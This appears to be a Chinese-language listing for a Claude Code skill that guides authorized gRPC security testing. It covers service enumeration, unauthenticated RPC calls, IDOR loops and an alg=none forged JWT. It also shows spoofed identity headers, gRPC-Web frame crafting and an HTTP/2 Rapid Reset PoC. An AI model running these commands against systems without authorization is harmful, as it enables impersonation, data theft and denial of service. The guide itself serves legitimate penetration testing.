关于 hunt-grpc
hunt-grpc 是面向安全测试人员的 gRPC 审计技能,指导服务发现、鉴权边界测试及代理转码路由检查。它强调区分反射等信息线索与可验证的未授权访问,并要求 DoS 测试先取得书面授权。
主要功能
- 01发现 gRPC 服务与可用端口
- 02通过反射或 Proto 文件枚举服务
- 03测试方法级鉴权与身份元数据信任
- 04检查 gRPC-Web 和 REST 转码路由
- 05验证状态码并区分误报
适用场景
- 01审计内部 gRPC 服务的外部暴露
- 02验证代理是否转发可伪造的身份元数据
- 03检查转码路由是否暴露未授权 RPC
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-grpc安装后在 Claude Code 中输入/hunt-grpc确认已加载。
详细介绍
HUNT-GRPC — gRPC 安全
皇冠明珠目标
启用 gRPC 反射 = 无需源代码即可枚举完整服务目录。价值最高的 gRPC 漏洞源于一种架构假设:服务是“内部的”——身份验证在边缘代理上执行,后端信任任何能够访问它的调用方。一旦你直接访问后端(暴露的端口、SSRF、绕过代理),这种信任就会崩溃。
价值最高的发现:
- 生产环境启用了反射 —
grpc.reflection.v1alpha.ServerReflection/grpc.reflection.v1.ServerReflection会列出每个方法、消息和内部服务。这是枚举的助力,本身并非漏洞(见验证)。 - 内部服务缺少身份验证 — 面向东西向微服务流量设计的服务对外暴露,既没有 mTLS,也没有按方法授权 → 直接调用特权方法。
- 仅边缘身份验证 / 元数据未剥离 — 代理对用户进行身份验证,但后端重新信任代理注入的请求头(
x-user-id、x-tenant-id、x-forwarded-*);如果你能访问后端,或能通过代理注入这些请求头,就可以冒充任意租户。 - 明文 gRPC — 非标准端口上的 gRPC h2c(明文 HTTP/2)→ 凭据/元数据可能被截获。
- HTTP/2 Rapid Reset DoS(CVE-2023-44487) — 交错发送 HEADERS 和立即发送 RST_STREAM 帧可绕过
MAX_CONCURRENT_STREAMS计数 → 耗尽资源。几乎没有任何计划允许测试 DoS——发送任何突发请求前,务必取得明确的书面授权。
阶段 1 — 指纹识别与端口发现
# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open
# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"
# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
-H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status
# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
-H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"
出现 grpc-status trailer ⇒ 该端口后面有 gRPC 服务端(或 grpc-gateway/Envoy)。在随机路径上返回 UNIMPLEMENTED 是正常现象,只能确认传输协议,并非漏洞发现。
阶段 2 — 通过反射枚举服务
brew install grpcurl # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure $TARGET:443 list
# Typical output when reflection is on:
# grpc.reflection.v1.ServerReflection
# grpc.health.v1.Health
# user.UserService
# admin.AdminService
# payment.PaymentService
# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest # message schema
# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txt
反射已禁用? 如果你能猜到方法名,仍可调用已知方法;也可以从泄露的 .proto 重建 descriptor set(阶段 5),并通过 grpcurl -protoset bundle.bin ... 传入。关闭反射是加固措施,而非安全边界。
阶段 3 — 无需身份验证调用方法(授权测试)
# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers
# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
-d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
done
解读 gRPC 状态码,而不只是看是否有字节返回(见验证):
OK+ 返回内容非空 → 方法在未经身份验证的情况下执行 → 漏洞发现。Unauthenticated (16)/PermissionDenied (7)→ 已强制执行授权;不是漏洞发现。Unimplemented (12)→ 路径错误 / 此服务端上没有该方法。InvalidArgument (3)→ 已到达该方法,并解析了你的输入 → 方法可调用;修正负载后重试。
阶段 4 — 身份验证 / 信任边界绕过
# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
-H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
-d '{}' admin.AdminService/GetConfig
# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
# then trust identity injected as metadata. If the edge does not STRIP these,
# spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
"x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
"x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
echo "== $H =="
grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done
# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
# server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
-d '{}' admin.AdminService/GetConfig
元数据未剥离漏洞(b)是 gRPC 特有的皇冠明珠:先将伪造的请求头直接发送到后端端口进行确认,再单独通过公共代理发送——如果代理将你的 x-user-id 原样转发给后端,那么真实用户也会受到影响,而不只是通过绕过端口才能利用。
阶段 5 — Proto 文件 / Schema 发现
# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
S=$(curl -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
[ "$S" != 404 ] && echo "Found: /$P ($S)"
done
# Source/registry leakage of .proto definitions
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null
# Rebuild a descriptor set from leaked protos and drive the API without reflection
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 list
Proto 泄露本身严重性较低;它的价值在于能打开一扇门,让你针对禁用了反射的目标执行阶段 3–4 的测试。
阶段 6 — gRPC-Web / grpc-gateway / JSON 转码攻击
gRPC 几乎总是通过转码器触达浏览器:Envoy grpc_web/grpc_json_transcoder、grpc-gateway(REST↔gRPC)或 Connect。这些转换器是现实中的外部攻击面,并且经常会重新暴露内部方法。
# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
# map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
curl -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
-H 'content-type: application/json' -d '{}' # default unannotated route
# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
# Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
# Encode the message with protoscope so the bytes are correct:
# protoscope -s <<<'1: 1' > msg.bin # field 1 (e.g. user_id) = 1
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2))) # 4-byte length prefix
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl -s "https://$TARGET/user.UserService/GetUser" \
-H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
--data-binary @frame.bin | xxd | head
# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
curl -s "https://$TARGET/user.UserService/GetUser" \
-H 'content-type: application/grpc-web+json' -H 'x-grpc-web: 1' \
-d '{"user_id": 1}'
# (d) Connect protocol (buf): plain JSON POST, unary, no framing:
curl -s "https://$TARGET/user.UserService/GetUser" \
-H 'content-type: application/json' -H 'connect-protocol-version: 1' \
-d '{"user_id": 1}'
这很重要的原因:面向浏览器的转码器通常会将请求转发到与内部 gRPC 平面相同的后端。如果转码器路由暴露了 AdminService,或未要求 gRPC 客户端本应提供的身份验证,那么你就发现了一个真正可从外部访问的授权漏洞。确认每个转码路由都能返回包含敏感数据的 OK,并验证未经身份验证的用户或低权限用户也能访问它(而不只是能从网格内部访问)。
阶段 7 — HTTP/2 快速重置 DoS(CVE-2023-44487)
授权门槛: DoS 在绝大多数项目中都不在测试范围内。未经明确、书面且限定范围的许可,以及项目所有者认可的目标和时间窗口,切勿运行此测试。如有疑问,请跳至验证部分。
此攻击不是负载测试。它会打开流(HEADERS),并在服务端完成处理之前立即取消这些流(RST_STREAM),因此,每个已取消的流都会立即释放一个 MAX_CONCURRENT_STREAMS 槽位,而服务端仍需处理该流——客户端会迅速突破并发上限。h2load/ghz 是吞吐量基准测试工具;它们没有快速重置模式,也不会交错发送 HEADERS 和立即发送 RST_STREAM,因此无法测试此问题。
正确的工具——作者认可、确实会发出这种帧模式的 PoC:
# CERT/CC + community tracking and PoCs for CVE-2023-44487:
# https://kb.cert.org/vuls/id/421644
# https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ (Cloudflare writeup)
# Go PoC that sends HEADERS then immediate RST_STREAM in a tight loop:
git clone https://github.com/secengjeff/rapidresetclient
cd rapidresetclient && go build -o rapidreset .
# Detection-only: a SHORT, low-count burst, with permission, then STOP:
./rapidreset --help # confirm current flags first, then a SMALL authorized burst, e.g.:
# ./rapidreset -url https://$TARGET:443 -concurrency 1 -requests 20
# If you must roll your own, use the h2 framing layer (golang.org/x/net/http2)
# to write a HEADERS frame immediately followed by RST_STREAM(CANCEL) per stream id.
**无需发起 DoS 的检测方式——优先采用此方法:**你只需要证明是否存在缓解措施。检查服务端横幅/版本,以及它是否会跟踪重置流量洪泛:
# Fingerprint the HTTP/2 implementation and version (patched versions are known):
curl -sI --http2 https://$TARGET/ | grep -i '^server:'
# nghttp2 >=1.57.0, Go net/http with the 2023-10 fix, Envoy >=1.27.1/1.26.5/1.25.10/1.24.11,
# grpc-go >=1.56.3/1.57.1/1.58.3 are mitigated. Version-match instead of flooding.
报告经版本确认的缓解措施缺失,而不是基准测试中的速度下降。“服务端在负载下变慢”并不能证明存在 CVE-2023-44487——这会对速度较慢或资源配置不足的服务端产生误报,也会对已修补且能妥善限制重置请求的服务端产生漏报。
工具
grpcurl # primary CLI client (list/describe/call, -protoset for reflection-off)
grpcui # web UI for interactive exploration: grpcui -plaintext $TARGET:50051
protoc + protoscope # build/inspect raw protobuf and gRPC-Web frames (Phase 6)
buf # lint/inspect proto, drive Connect endpoints
# DoS-only, AUTHORIZED engagements: secengjeff/rapidresetclient (true rapid-reset PoC).
# NOTE: ghz and h2load are LOAD benchmarkers, NOT rapid-reset testers — do not
# use them to "prove" CVE-2023-44487.
攻击链表
| gRPC 发现 | 攻击链至 | 影响 |
|---|---|---|
| 已启用反射 | 枚举所有内部服务方法和消息 | 完整 API 目录泄露(攻击前提) |
| 管理员方法未启用身份验证 | 调用特权 RPC(DeleteUser、GetConfig) | 数据篡改/系统访问 — 严重 |
代理未剥离转发的 x-user-id/x-tenant-id | 伪造身份元数据 → 跨租户冒充 | 绕过租户隔离 — 严重 |
| 通过可枚举 ID 字段实施 IDOR | 遍历 GetUser 的 user_id | 大规模 PII 外泄 — 高危 |
| grpc-gateway / gRPC-Web 路由重新暴露内部 RPC | 未经身份验证访问转码后的 REST/JSON 路径 | 可从外部访问的授权绕过 — 高危/严重 |
| 内部端口上的明文 h2c | 中间人攻击/嗅探元数据(承载令牌) | 凭据窃取 — 高危 |
.proto 泄露(仓库/swagger) | 使用 -protoset 驱动已关闭反射的目标 | 解锁阶段 3–4 — 单独影响较低,作为攻击前提时影响较高 |
相关技能:hunt-idor(ID 枚举逻辑)、hunt-api-misconfig(JWT alg=none/请求消息中的批量赋值)、hunt-auth-bypass(边缘与后端的信任边界)、hunt-tls-network(h2c/明文传输和 ALPN)、cloud-iam-deep(如果被调用的 RPC 返回云凭据)。
验证——严守误报纪律
对天真的 grep 来说,gRPC 的失败模式看起来像成功。提交前请通过以下检查。
-
区分状态码,不要只数响应字节。 非空响应仍可能是错误帧。确认
grpc-status尾部元数据为0(OK)。Unauthenticated (16)/PermissionDenied (7)表示身份验证有效——关闭此候选问题。Unimplemented (12)表示方法不对。使用grpcurl -v重新运行,并明确检查尾部元数据。 -
反射 / 健康检查端点通常会有意公开。
grpc.reflection.*和grpc.health.v1.Health可访问这一点本身属于信息泄露(最多低/中危)——许多厂商会按设计启用反射。除非它泄露了非公开的服务目录,否则不要将其报告为“缺少身份验证”。真正的问题是你随后能在第 3 阶段证明可在未通过身份验证的情况下调用的敏感服务。 -
区分“没有身份验证”和“此方法无需身份验证”。 有些方法(健康检查、公开目录读取)本来就允许匿名访问。通过展示经过身份验证与未经过身份验证时的状态差异来证明漏洞:同一个 RPC 在无凭据时返回其他用户 / 租户的私有数据,或执行了修改状态的管理员 RPC(重新读取已更改的状态,以确认副作用)。
-
区分代理与后端的可达性。 若只有通过 SSRF / 端口扫描发现的内部
:50051才能触发漏洞,那么漏洞确实存在,但严重程度取决于可达性。明确说明外部攻击者如何触达该服务(暴露的端口、SSRF 出站流量、代理透传)。对于元数据伪造,要证明公共代理会转发伪造的标头——而不只是绕过代理直接访问后端端口。 -
盲测必须使用 OOB / Collaborator。 如果 RPC 接受 URL / 主机参数(webhook、导入、渲染),就应视为 SSRF 候选问题:将其指向带有唯一子域名的 Burp Collaborator 负载,并确认 DNS + HTTP 交互后再报告 SSRF。没有交互 = 没有 SSRF。转交给 hunt-ssrf。
-
DoS 必须有授权,并能通过版本验证。 绝不能仅凭基准测试中的“变慢”就提交 CVE-2023-44487。必须满足以下任一条件:(a) 根据
server:标头确认使用的是未修补的 HTTP/2 堆栈;或 (b) 仅在获得明确书面授权且商定测试时段的情况下演示重置洪泛——随后立即停止。响应缓慢不构成证据。
严重程度指南(通过以上检查后):
- 无需身份验证即可调用敏感 / 管理员 RPC,且已证明副作用 → 严重
- 代理转发的元数据伪造导致跨租户冒充 → 严重
- 可枚举 RPC 导致 IDOR / 大规模泄露 PII → 高
- 内部服务可从外部访问(转码器或开放端口) → 高
- 明文 h2c 泄露 bearer 元数据 → 高
- 启用反射并暴露非公开目录 → 中(促成因素)
- 泄露 Proto / 描述符,但无法调用敏感方法 → 低